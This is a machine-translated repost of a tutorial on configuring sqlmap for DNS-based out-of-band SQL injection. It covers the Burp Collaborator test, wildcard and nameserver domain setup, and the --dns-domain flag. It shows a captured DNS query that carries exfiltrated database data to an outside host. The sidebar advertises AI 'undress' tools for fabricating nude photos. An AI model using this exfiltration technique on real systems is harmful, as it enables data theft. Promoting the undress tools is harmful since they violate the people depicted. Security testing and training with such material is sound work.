search
HomeOperation and MaintenanceSafetyWhat is the sqlmap _dns injection configuration method?

There are too few articles on dns injection for sqlmap on the Internet. They only briefly introduce the --dns-domain parameter. The relevant practical articles are either vague or mentioned in one stroke, which is confusing (mainly dishes, The key is not brought by the boss yet). Then I did it again by referring to the methods on the Internet.

Things that need to be prepared are one sqlmap, windows blind injection, two domain names, and an external network server.

sqlmap _dns注入配置方法是什么

#One time when I was doing something, I came across a time blind injection. It happened to be a Windows machine, and I remembered the method of dns injection.

sqlmap _dns注入配置方法是什么

Before I start, I plan to use the --sql-shell command of sqlmap to test the dns injection payload

sqlmap _dns注入配置方法是什么

First go to the collaborator client in burpsuite and copy the domain name arranged by burp for us

Using sqlmap to execute the sql statement

sqlmap _dns注入配置方法是什么

Sqlmap is still running The request has been received in burpsuite.

sqlmap _dns注入配置方法是什么

##352E362E3134.9hreqpopru1xgf9skq473yo14sajy8.burpcollaborator.net.

352E362E3134 is the result returned after executing version().

sqlmap _dns注入配置方法是什么

Decode to obtain the version of mysql. Well, there is nothing wrong with dns injection at this point.

Prepare to configure two domain names. Some articles on the Internet say that one is fine, but it always feels more troublesome. Many domain name server providers do not provide certain advanced functions, so it is easier to prepare two.

www.a.com

www.b.com

First we configure the domain name a-> a.com

sqlmap _dns注入配置方法是什么

You only need to add * to perform pan-analysis and point to the IP of our external network server.

Now let’s configure our domain name b->b.com

sqlmap _dns注入配置方法是什么

This is even simpler. Just modify the dns of the domain name directly and fill in ns1 .a.com ns2.a.com is enough. There is no need to do anything else, just fill it in.

Then wait for the domain name to take effect. We go to the external network server to test whether the parsing is successful

sqlmap _dns注入配置方法是什么

The server starts listening to port 53

sqlmap _dns注入配置方法是什么

Then The local computer pings hello.b.com and sends it to the external server. We have been able to receive the request from hello.b.com, and the local computer prompts that the host cannot be found and does not need to be ignored because we have not set up parsing. Now that everything is configured, we can use sqlmap for dns injection.

sqlmap _dns注入配置方法是什么

Add the parameter --dns-domain=b.com --hex to Sqlmap and you can

sqlmap _dns注入配置方法是什么

to At this step, sqlmap will get stuck and prompt to set up the DNS server instance

Direct ctrl c

sqlmap _dns注入配置方法是什么

prompts that the data retrieval through the DNS channel is successful.

The injection speed is as fast as error reporting and union, so you no longer have to endure the slow speed.

The above is the detailed content of What is the sqlmap _dns injection configuration method?. For more information, please follow other related articles on the PHP Chinese website!

Statement
This article is reproduced at:亿速云. If there is any infringement, please contact admin@php.cn delete
win11 DNS服务器错误如何解决win11 DNS服务器错误如何解决Jan 10, 2024 pm 09:02 PM

我们在连接网络时需要使用正确的dns才可以上网。同理,如果我们使用了错误的dns设置就会提示dns服务器错误了,这时候我们可以尝试在网络设置中选择自动获取dns来解决,下面就一起来看下具体解决方法吧。win11网络dns服务器错误怎么办方法一:重新设置DNS1、首先,点击任务栏中的开始进入,在其中找到并点开“设置”图标按钮。2、然后点击左侧栏中的“网络&Internet”选项命令。3、然后在右侧找到“以太网”选项,点击进入。4、之后,点击DNS服务器分配中的“编辑”,最后将DNS设置为“自动(D

修复:Windows 11 更新错误 0x80072ee7修复:Windows 11 更新错误 0x80072ee7Apr 14, 2023 pm 01:31 PM

某些 Windows 11 更新可能会导致问题和更大的版本,从而导致性能错误。例如,如果您不修复更新错误 0x80072ee7,它可能会使您的机器运行异常。它在不同的情况下触发,修复它取决于故障背后的原因。有时,用户报告在安装某些 Windows 更新时会出现此问题。浏览时不会随机出现安全通知和系统错误。如果发生这种情况,您的计算机可能存在不需要的程序或恶意软件。错误背后的原因各不相同,从防病毒问题到其他干扰 Windows 更新的软件。Windows 更新错误是如何发生的?如果浏览时出现 0x

如何在 Windows 10 / 11 上的一张 LAN 卡中分配多个 IP 地址如何在 Windows 10 / 11 上的一张 LAN 卡中分配多个 IP 地址May 30, 2023 am 11:25 AM

有时需要为单个LAN卡分配多个地址。例如,如果需要运行多个具有唯一IP地址的网站或将应用程序绑定到不同的IP地址等。如果您正在考虑如何为单个网络接口卡或LAN卡分配多个地址,那么本文将帮助您实现它。按照下面的步骤直到最后,它就会完成。那么让我们开始吧!在一张LAN卡中分配多个IP地址第1步:一起使用Windows+R键打开运行提示并键入ncpa.cpl,然后按回车键打开网络连接窗口。第2步:右键单击您的网络适配器以太网或WiFi选项,然后单击属性。第3步:从属性窗口

如何修复 Xbox Series S/X 下载速度、降低 ping 和延迟如何修复 Xbox Series S/X 下载速度、降低 ping 和延迟Apr 16, 2023 pm 04:49 PM

多年来,Xbox控制台得到了突飞猛进的改进。多年来,游戏不断发展,具有栩栩如生的功能,而游戏玩家似乎无法获得足够的体验。在Xbox上玩您最喜欢的游戏可能是一种完全引人入胜的体验。但是,有时使用这些高级功能,如果互联网速度不是那么好,我们最终会遇到延迟或ping问题。有时我们希望游戏下载速度更快。如今,像ForzaHorizo​​n5和MortalKombat这样的游戏需要超过100GB的内存。如果我们没有正确的互联网设置来帮助我们,下载此类游戏可能需要很长时间。方法1:通过

如何解决Steam错误代码105无法连接到服务器?如何解决Steam错误代码105无法连接到服务器?Apr 22, 2023 pm 10:16 PM

Steam是一个流行的游戏库。它允许其用户玩游戏,并将游戏下载到他们的Steam帐户。由于它是一个基于云的库,它允许用户使用任何计算机,并允许他们在有限的计算机内存中存储许多游戏。这些功能使其在游戏玩家社区中非常受欢迎。但是,许多游戏玩家报告在他们的系统中看到以下错误代码。错误代码105-无法连接到服务器。服务器可能是离线错误这个错误主要是由于连接中的一些问题而出现的。当您在系统中看到此问题时,请尝试以下常规修复并检查问题是否得到解决。重启你的路由器。重新启动您的系统。还是看到问题了?不用担心

如何在 Windows 11 上更改 DNS 设置如何在 Windows 11 上更改 DNS 设置May 01, 2023 pm 06:58 PM

您的ISP配置在设置互联网连接时提供默认域名系统(DNS)。这会带来各种安全威胁并降低互联网速度,因此必须手动分配DNS服务器。浏览此详细指南,了解如何更改Windows11计算机上的DNS设置并保护您的在线状态。如何更改Windows11上的DNS设置?1.使用“设置”应用使用+快捷方式转到“设置”应用。WindowsI从左侧边栏中选择网络和互联网,然后从右侧选择Wi-Fi或以太网,具体取决于您的互联网连接。向下滚动并选择硬件属性。找到DNS服务器分配设置,然后单击它

修复:DNS 服务器没有响应 Windows 11 中的问题修复:DNS 服务器没有响应 Windows 11 中的问题Jun 01, 2023 pm 04:52 PM

当Windows用户无法在系统上的浏览器上浏览或加载网页时,他们碰巧想到了可能导致此问题的所有因素。尽管许多Windows用户在他们的系统上解决此问题时,它会抛出一条错误消息,指出“DNS服务器没有响应”,用户不知道如何解决此问题以使用稳定的互联网连接。我们在这篇文章中提出了一个解决方案,它肯定会解决这个问题。但是,请事先尝试这些解决方法——尝试重新启动路由器并检查这是否导致问题。更改浏览器应用程序。也就是说,如果您使用的是MicrosoftEdge浏览器,请将其关闭并打开Google

解决“Windows 11 上的 DNS 服务器未响应”问题的 12 种方法解决“Windows 11 上的 DNS 服务器未响应”问题的 12 种方法Apr 15, 2023 pm 10:46 PM

什么是DNS?DNS是域名系统的首字母缩写词,它是一个分散的命名系统,所有计算机、服务器和更多试图连接到互联网的设备都使用它。DNS有助于识别您的PC和发送到它的流量,系统会自动破译并显示必要的信息。为什么我在Windows11上收到“DNS服务器没有响应”?这个问题可能有很多原因。有时,Windows可能会将网络问题误认为是DNS问题,而有时它很可能是第三方应用程序干扰了您的网络。最近对AVG防病毒软件的更新似乎是导致此问题的主要原因,禁用该更新似乎可以解决大多数用户的此问题

See all articles

Hot AI Tools

Undresser.AI Undress

Undresser.AI Undress

AI-powered app for creating realistic nude photos

AI Clothes Remover

AI Clothes Remover

Online AI tool for removing clothes from photos.

Undress AI Tool

Undress AI Tool

Undress images for free

Clothoff.io

Clothoff.io

AI clothes remover

AI Hentai Generator

AI Hentai Generator

Generate AI Hentai for free.

Hot Tools

SublimeText3 English version

SublimeText3 English version

Recommended: Win version, supports code prompts!

DVWA

DVWA

Damn Vulnerable Web App (DVWA) is a PHP/MySQL web application that is very vulnerable. Its main goals are to be an aid for security professionals to test their skills and tools in a legal environment, to help web developers better understand the process of securing web applications, and to help teachers/students teach/learn in a classroom environment Web application security. The goal of DVWA is to practice some of the most common web vulnerabilities through a simple and straightforward interface, with varying degrees of difficulty. Please note that this software

mPDF

mPDF

mPDF is a PHP library that can generate PDF files from UTF-8 encoded HTML. The original author, Ian Back, wrote mPDF to output PDF files "on the fly" from his website and handle different languages. It is slower than original scripts like HTML2FPDF and produces larger files when using Unicode fonts, but supports CSS styles etc. and has a lot of enhancements. Supports almost all languages, including RTL (Arabic and Hebrew) and CJK (Chinese, Japanese and Korean). Supports nested block-level elements (such as P, DIV),

Notepad++7.3.1

Notepad++7.3.1

Easy-to-use and free code editor

PhpStorm Mac version

PhpStorm Mac version

The latest (2018.2.1) professional PHP integrated development tool